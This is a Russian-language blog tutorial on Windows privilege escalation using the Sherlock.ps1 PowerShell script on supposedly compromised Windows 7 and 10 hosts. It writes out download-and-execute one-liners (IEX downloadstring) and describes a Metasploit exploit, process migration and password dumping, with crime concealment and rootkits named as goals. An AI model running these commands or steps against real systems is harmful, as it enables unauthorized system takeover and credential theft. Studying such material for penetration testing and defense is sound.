PowerShell для хакера ( часть X ) Повышения привилегий . [скрипт Sherlock.ps1]
Life-HackПриведствую Вас коллеги))
Продолжаем развивать нашу тему PowerShell глазами хакерами и сегодня мы с вами друзья остановимся на очередном этапе тестирования на проникновения , который принято в народе называть "Повышение привилегий" [Privilege Escalation (PrivEsc)] И делать мы это будем опять же таки средствами PowerShell. Так же сегодня я вас познакомлю , по моему мнению , с замечательным инструментом Sherlock.
Для чего нужно повышение привилегий в системе?
- Для полного контроля системы.
- Для более стойкого закрепления в системе.
- Для сокрытие следов преступления,прибывания в системе.
- Для установки руткитов.
- Для получения конфиденциальной информации , которая обычному пользователю не доступна.
- Для извлечения паролей и многое другое...
Ну что ж , думаю более мение понятно для чего это делаеться) Теперь кратенько об нашем инструменте:
Sherlock - это скрипт на PowerShell , который проверяет систему на отсудствие важных обновлений и патчей системы , исходя из чего выдает нам список самых распрастранненых , по мнению автора скрипта , LPE (Local Privilege Escalation) эксплоитов с ссылками на их описание. То есть думаю понятно? Да? Если важного обновления в системе нет - то система потенциально уязвима к тому или иному CVE, все как бы логично просто )
Ну что ж давайте перейдем к тестированию.
Тестировать я буду сразу на двух системах, это :
- Windows 7 x32
- Windows 10 x32
Условно представим что мы попали в систему и имеем сессию обычного рядового пользователя:
На Windows 7:
И на Windows 10:
Условно эти две машины скомпрометированы нами:
Подгрузим модуль powershell через метерпретер ( у метерпертора есть расширение которое позволяет импортировать модули , выполнять команды PowerShell и так же запускать интерактивный PowerShell)
Так вот на win10 он у меня подгрузился без проблем:
После чего в справке метерпретора стали доступны нужные нам команды:
Но на win7 у меня он не смог подгрузиться (попытаюсь выяснить причину ошибки , если найду - отпишу в комментариях):
Тем не мение это не мешает мне проверить работу скрипта Sherlock. Ну что ж давайте начнем с Win10:
Можно было конечно подгрузить локално , но я по старому доброму способу "методом дроп"
PS > IEX (New-Object Net.WebClient).downloadstring('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1');Find-AllVulns
Увы шерлок мне не выдал не одного уязвимого CVE на системе с Win10 ((
Видать установленны все важные обновления.
Теперь давайте проверим на машине с Win7:
Так как модуль PowerShell у меня не подгрузился я выполнил нужную команду для скрипта через обычный Windows Shell:
>>> powershell -nop -c IEX (New-Object Net.WebClient).downloadstring('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1');Find-AllVulns
Результат меня приятно удивил)
Система уязвима к множеству различных LPE )
Что ж давайте поищим какой то LPE из списка в метаслоите.
Запустив сплоит видим что был создан привилегированый процес:
Мигрируем в него и получаем привилегии системы))))
В результате успешного повышения можем получить список всех паролей от этой системы:
Для сравнения попытаемся этот же сплойт выполнить на машине с Win10 - и получаем ошибку при попытке миграции в процес.
Всем спасибо) Источник